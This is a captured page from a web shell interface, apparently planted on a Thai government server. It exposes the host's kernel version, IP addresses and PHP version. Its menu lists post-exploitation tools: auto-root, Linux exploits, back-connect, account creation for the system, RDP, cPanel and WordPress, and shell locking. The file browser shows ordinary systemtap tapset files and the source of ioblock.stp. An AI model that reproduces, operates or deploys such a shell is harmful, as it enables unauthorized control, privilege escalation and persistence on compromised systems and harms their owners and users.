Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
arm64
[ DIR ]
drwxr-xr-x
i386
[ DIR ]
drwxr-xr-x
ia64
[ DIR ]
drwxr-xr-x
powerpc
[ DIR ]
drwxr-xr-x
s390
[ DIR ]
drwxr-xr-x
x86_64
[ DIR ]
drwxr-xr-x
atomic.stp
1.52
KB
-rw-r--r--
aux_syscalls.stp
139.14
KB
-rw-r--r--
context-caller.stp
3.07
KB
-rw-r--r--
context-envvar.stp
1.71
KB
-rw-r--r--
context-symbols.stp
11.98
KB
-rw-r--r--
context-unwind.stp
2.81
KB
-rw-r--r--
context.stp
17.76
KB
-rw-r--r--
context.stpm
125
B
-rw-r--r--
conversions-guru.stp
5.56
KB
-rw-r--r--
conversions.stp
10.92
KB
-rw-r--r--
ctime.stp
5.32
KB
-rw-r--r--
dentry.stp
9.79
KB
-rw-r--r--
dev.stp
1.79
KB
-rw-r--r--
endian.stp
602
B
-rw-r--r--
guru-delay.stp
1.2
KB
-rw-r--r--
guru-signal.stp
1.07
KB
-rw-r--r--
inet.stp
1.42
KB
-rw-r--r--
inet_sock.stp
1.31
KB
-rw-r--r--
ioblock.stp
12.55
KB
-rw-r--r--
ioscheduler.stp
11.74
KB
-rw-r--r--
ip.stp
5.23
KB
-rw-r--r--
ipmib-filter-default.stp
965
B
-rw-r--r--
ipmib.stp
12.55
KB
-rw-r--r--
irq.stp
5
KB
-rw-r--r--
json.stp
8.92
KB
-rw-r--r--
json.stpm
6.11
KB
-rw-r--r--
kprocess.stp
4.38
KB
-rw-r--r--
kretprobe.stp
2.1
KB
-rw-r--r--
linuxmib-filter-default.stp
876
B
-rw-r--r--
linuxmib.stp
3.38
KB
-rw-r--r--
loadavg.stp
1.87
KB
-rw-r--r--
logging.stp
2.08
KB
-rw-r--r--
memory.stp
17.77
KB
-rw-r--r--
nd_syscalls.stp
138.14
KB
-rw-r--r--
nd_syscalls2.stp
161.75
KB
-rw-r--r--
netfilter.stp
31.56
KB
-rw-r--r--
networking.stp
7.17
KB
-rw-r--r--
nfs.stp
37.86
KB
-rw-r--r--
nfs_proc.stp
55.3
KB
-rw-r--r--
nfs_proc.stpm
1.18
KB
-rw-r--r--
nfsd.stp
39.97
KB
-rw-r--r--
nfsderrno.stp
11.7
KB
-rw-r--r--
panic.stp
1.07
KB
-rw-r--r--
perf.stp
4.5
KB
-rw-r--r--
proc_mem.stp
11.49
KB
-rw-r--r--
pstrace.stp
773
B
-rw-r--r--
rcu.stp
917
B
-rw-r--r--
rlimit.stp
1.35
KB
-rw-r--r--
rpc.stp
37.94
KB
-rw-r--r--
scheduler.stp
11.33
KB
-rw-r--r--
scsi.stp
9.46
KB
-rw-r--r--
signal.stp
28.35
KB
-rw-r--r--
socket.stp
33.41
KB
-rw-r--r--
syscalls.stp
136.01
KB
-rw-r--r--
syscalls.stpm
11.28
KB
-rw-r--r--
syscalls2.stp
158.1
KB
-rw-r--r--
syscalls_cfg_trunc.stp
111
B
-rw-r--r--
target_set.stp
1.71
KB
-rw-r--r--
task.stp
19.07
KB
-rw-r--r--
task.stpm
157
B
-rw-r--r--
task_ancestry.stp
1.57
KB
-rw-r--r--
task_time.stp
7.45
KB
-rw-r--r--
tcp.stp
21.98
KB
-rw-r--r--
tcpmib-filter-default.stp
885
B
-rw-r--r--
tcpmib.stp
10.29
KB
-rw-r--r--
timestamp.stp
1.72
KB
-rw-r--r--
timestamp_gtod.stp
1.59
KB
-rw-r--r--
timestamp_monotonic.stp
5.12
KB
-rw-r--r--
tty.stp
7.15
KB
-rw-r--r--
tzinfo.stp
803
B
-rw-r--r--
ucontext-symbols.stp
8.62
KB
-rw-r--r--
ucontext-unwind.stp
3.64
KB
-rw-r--r--
ucontext.stp
2.18
KB
-rw-r--r--
udp.stp
5.73
KB
-rw-r--r--
utrace.stp
1.33
KB
-rw-r--r--
vfs.stp
26.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ioblock.stp
// Block I/O tapset // Copyright (C) 2006 Intel Corp. // Copyright (C) 2006 IBM Corp. // Copyright (C) 2014 Red Hat Inc. // // This file is part of systemtap, and is free software. You can // redistribute it and/or modify it under the terms of the GNU General // Public License (GPL); either version 2, or (at your option) any // later version. %{ #include <linux/bio.h> #include <linux/genhd.h> #ifdef STAPCONF_BLK_TYPES #include <linux/blk_types.h> #else #define REQ_WRITE (1 << BIO_RW) #endif %} /* get i-node number of mapped file */ function __bio_ino:long(bio:long) %{ /* pure */ struct bio *bio = (struct bio *)(long)STAP_ARG_bio; struct page *bv_page = ((bio && kread(&(bio->bi_vcnt))) ? kread(&(bio->bi_io_vec[0].bv_page)) : NULL); STAP_RETVALUE = -1; if (bv_page) { /* Before calling PageSlab() and PageSwapCache() on bv_page, we * need to make sure the bv_page struct is valid. */ (void)kderef_buffer(NULL, bv_page, sizeof(struct page)); if (!PageSlab(bv_page) && !PageSwapCache(bv_page)) { struct address_space *mapping = kread(&(bv_page->mapping)); if (mapping && ((unsigned long)mapping & PAGE_MAPPING_ANON) == 0) { struct inode *host = kread(&(mapping->host)); if (host) STAP_RETVALUE = kread(&(host->i_ino)); } } } CATCH_DEREF_FAULT(); %} /* returns 0 for read, 1 for write */ function bio_rw_num:long(rw:long) { return (rw & %{ /* pure */ REQ_WRITE %}) } /* returns R for read, W for write */ function bio_rw_str(rw:long) { return bio_rw_num(rw) == BIO_READ ? "R" : "W" } /* returns start sector */ function __bio_start_sect:long(bio:long) { try { return @cast(bio, "bio")->bi_bdev->bd_part->start_sect } catch { return -1 } } /* returns the block device name */ function __bio_devname:string(bio:long) { return bdevname(@cast(bio, "bio")->bi_bdev) } global BIO_READ = 0, BIO_WRITE = 1 /** * probe ioblock.request - Fires whenever making a generic block I/O request. * @name : name of the probe point * @devname : block device name * @ino : i-node number of the mapped file * @sector : beginning sector for the entire bio * @flags : see below * BIO_UPTODATE 0 ok after I/O completion * BIO_RW_BLOCK 1 RW_AHEAD set, and read/write would block * BIO_EOF 2 out-out-bounds error * BIO_SEG_VALID 3 nr_hw_seg valid * BIO_CLONED 4 doesn't own data * BIO_BOUNCED 5 bio is a bounce bio * BIO_USER_MAPPED 6 contains user pages * BIO_EOPNOTSUPP 7 not supported * @rw : binary trace for read/write request * @vcnt : bio vector count which represents number of array element (page, offset, length) which make up this I/O request * @idx : offset into the bio vector array * @phys_segments : number of segments in this bio after physical address coalescing is performed * @hw_segments : number of segments after physical and DMA remapping hardware coalescing is performed * @size : total size in bytes * @bdev : target block device * @bdev_contains : points to the device object which contains the partition (when bio structure represents a partition) * @p_start_sect : points to the start sector of the partition structure of the device * * Context: * The process makes block I/O request */ probe ioblock.request = kernel.function ("generic_make_request") { name = "ioblock.request" devname = __bio_devname($bio) ino = __bio_ino($bio) sector = @choose_defined($bio->bi_iter->bi_sector, $bio->bi_sector) flags = $bio->bi_flags rw = $bio->bi_rw vcnt = $bio->bi_vcnt idx = @choose_defined($bio->bi_iter->bi_idx, $bio->bi_idx) phys_segments = $bio->bi_phys_segments hw_segments = @choose_defined($bio->bi_hw_segments, 0) size = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) bdev = $bio->bi_bdev bdev_contains = $bio->bi_bdev->bd_contains p_start_sect = __bio_start_sect($bio) } /** * probe ioblock.end - Fires whenever a block I/O transfer is complete. * @name : name of the probe point * @devname : block device name * @ino : i-node number of the mapped file * @bytes_done : number of bytes transferred * @sector : beginning sector for the entire bio * @flags : see below * BIO_UPTODATE 0 ok after I/O completion * BIO_RW_BLOCK 1 RW_AHEAD set, and read/write would block * BIO_EOF 2 out-out-bounds error * BIO_SEG_VALID 3 nr_hw_seg valid * BIO_CLONED 4 doesn't own data * BIO_BOUNCED 5 bio is a bounce bio * BIO_USER_MAPPED 6 contains user pages * BIO_EOPNOTSUPP 7 not supported * @error : 0 on success * @rw : binary trace for read/write request * @vcnt : bio vector count which represents number of array element (page, offset, length) which makes up this I/O request * @idx : offset into the bio vector array * @phys_segments : number of segments in this bio after physical address coalescing is performed. * @hw_segments : number of segments after physical and DMA remapping hardware coalescing is performed * @size : total size in bytes * * Context: * The process signals the transfer is done. */ probe ioblock.end = kernel.function("bio_endio") { name = "ioblock.end" devname = __bio_devname($bio) ino = __bio_ino($bio) bytes_done = @choose_defined($bytes_done, @choose_defined($bio->bi_iter->bi_size, $bio->bi_size)) error = @choose_defined($error,$bio->bi_error) sector = @choose_defined($bio->bi_iter->bi_sector, $bio->bi_sector) flags = $bio->bi_flags rw = $bio->bi_rw vcnt = $bio->bi_vcnt idx = @choose_defined($bio->bi_iter->bi_idx, $bio->bi_idx) phys_segments = $bio->bi_phys_segments hw_segments = @choose_defined($bio->bi_hw_segments, 0) size = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) } /** * probe ioblock_trace.bounce - Fires whenever a buffer bounce is needed for at least one page of a block IO request. * @name : name of the probe point * @q : request queue on which this bio was queued. * @devname : device for which a buffer bounce was needed. * @ino : i-node number of the mapped file * @bytes_done : number of bytes transferred * @sector : beginning sector for the entire bio * @flags : see below * BIO_UPTODATE 0 ok after I/O completion * BIO_RW_BLOCK 1 RW_AHEAD set, and read/write would block * BIO_EOF 2 out-out-bounds error * BIO_SEG_VALID 3 nr_hw_seg valid * BIO_CLONED 4 doesn't own data * BIO_BOUNCED 5 bio is a bounce bio * BIO_USER_MAPPED 6 contains user pages * BIO_EOPNOTSUPP 7 not supported * @rw : binary trace for read/write request * @vcnt : bio vector count which represents number of array element (page, offset, length) which makes up this I/O request * @idx : offset into the bio vector array * @phys_segments - number of segments in this bio after physical address coalescing is performed. * @size : total size in bytes * @bdev : target block device * @bdev_contains : points to the device object which contains the partition (when bio structure represents a partition) * @p_start_sect : points to the start sector of the partition structure of the device * * Context : * The process creating a block IO request. */ probe ioblock_trace.bounce = kernel.trace("block_bio_bounce") { name = "ioblock_trace.bounce" q = $q devname = __bio_devname($bio) ino = __bio_ino($bio) bytes_done = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) sector = @choose_defined($bio->bi_iter->bi_sector, $bio->bi_sector) flags = $bio->bi_flags rw = $bio->bi_rw vcnt = $bio->bi_vcnt idx = @choose_defined($bio->bi_iter->bi_idx, $bio->bi_idx) phys_segments = $bio->bi_phys_segments size = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) bdev_contains = $bio->bi_bdev->bd_contains bdev = $bio->bi_bdev p_start_sect = __bio_start_sect($bio) } /** * probe ioblock_trace.request - Fires just as a generic block I/O request is created for a bio. * @name : name of the probe point * @q : request queue on which this bio was queued. * @devname : block device name * @ino : i-node number of the mapped file * @bytes_done : number of bytes transferred * @sector : beginning sector for the entire bio * @flags : see below * BIO_UPTODATE 0 ok after I/O completion * BIO_RW_BLOCK 1 RW_AHEAD set, and read/write would block * BIO_EOF 2 out-out-bounds error * BIO_SEG_VALID 3 nr_hw_seg valid * BIO_CLONED 4 doesn't own data * BIO_BOUNCED 5 bio is a bounce bio * BIO_USER_MAPPED 6 contains user pages * BIO_EOPNOTSUPP 7 not supported * @rw : binary trace for read/write request * @vcnt : bio vector count which represents number of array element (page, offset, length) which make up this I/O request * @idx : offset into the bio vector array * @phys_segments - number of segments in this bio after physical address coalescing is performed. * @size : total size in bytes * @bdev : target block device * @bdev_contains : points to the device object which contains the partition (when bio structure represents a partition) * @p_start_sect : points to the start sector of the partition structure of the device * * Context: * The process makes block I/O request */ probe ioblock_trace.request = kernel.trace("block_bio_queue") { name = "ioblock_trace.request" q = $q devname = __bio_devname($bio) ino = __bio_ino($bio) bytes_done = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) sector = @choose_defined($bio->bi_iter->bi_sector, $bio->bi_sector) flags = $bio->bi_flags rw = $bio->bi_rw vcnt = $bio->bi_vcnt idx = @choose_defined($bio->bi_iter->bi_idx, $bio->bi_idx) phys_segments = $bio->bi_phys_segments size = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) bdev_contains = $bio->bi_bdev->bd_contains bdev = $bio->bi_bdev p_start_sect = __bio_start_sect($bio) } /** * probe ioblock_trace.end - Fires whenever a block I/O transfer is complete. * @name : name of the probe point * @q : request queue on which this bio was queued. * @devname : block device name * @ino : i-node number of the mapped file * @bytes_done : number of bytes transferred * @sector : beginning sector for the entire bio * @flags : see below * BIO_UPTODATE 0 ok after I/O completion * BIO_RW_BLOCK 1 RW_AHEAD set, and read/write would block * BIO_EOF 2 out-out-bounds error * BIO_SEG_VALID 3 nr_hw_seg valid * BIO_CLONED 4 doesn't own data * BIO_BOUNCED 5 bio is a bounce bio * BIO_USER_MAPPED 6 contains user pages * BIO_EOPNOTSUPP 7 not supported * @rw : binary trace for read/write request * @vcnt : bio vector count which represents number of array element (page, offset, length) which makes up this I/O request * @idx : offset into the bio vector array * @phys_segments - number of segments in this bio after physical address coalescing is performed. * @size : total size in bytes * @bdev : target block device * @bdev_contains : points to the device object which contains the partition (when bio structure represents a partition) * @p_start_sect : points to the start sector of the partition structure of the device * * Context: * The process signals the transfer is done. */ probe ioblock_trace.end = kernel.trace("block_bio_complete") { name = "ioblock_trace.end" q = $q devname = __bio_devname($bio) ino = __bio_ino($bio) bytes_done = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) sector = @choose_defined($bio->bi_iter->bi_sector, $bio->bi_sector) flags = $bio->bi_flags rw = $bio->bi_rw vcnt = $bio->bi_vcnt idx = @choose_defined($bio->bi_iter->bi_idx, $bio->bi_idx) phys_segments = $bio->bi_phys_segments size = @choose_defined($bio->bi_iter->bi_size, $bio->bi_size) bdev_contains = $bio->bi_bdev->bd_contains bdev = $bio->bi_bdev p_start_sect = __bio_start_sect($bio) }
Close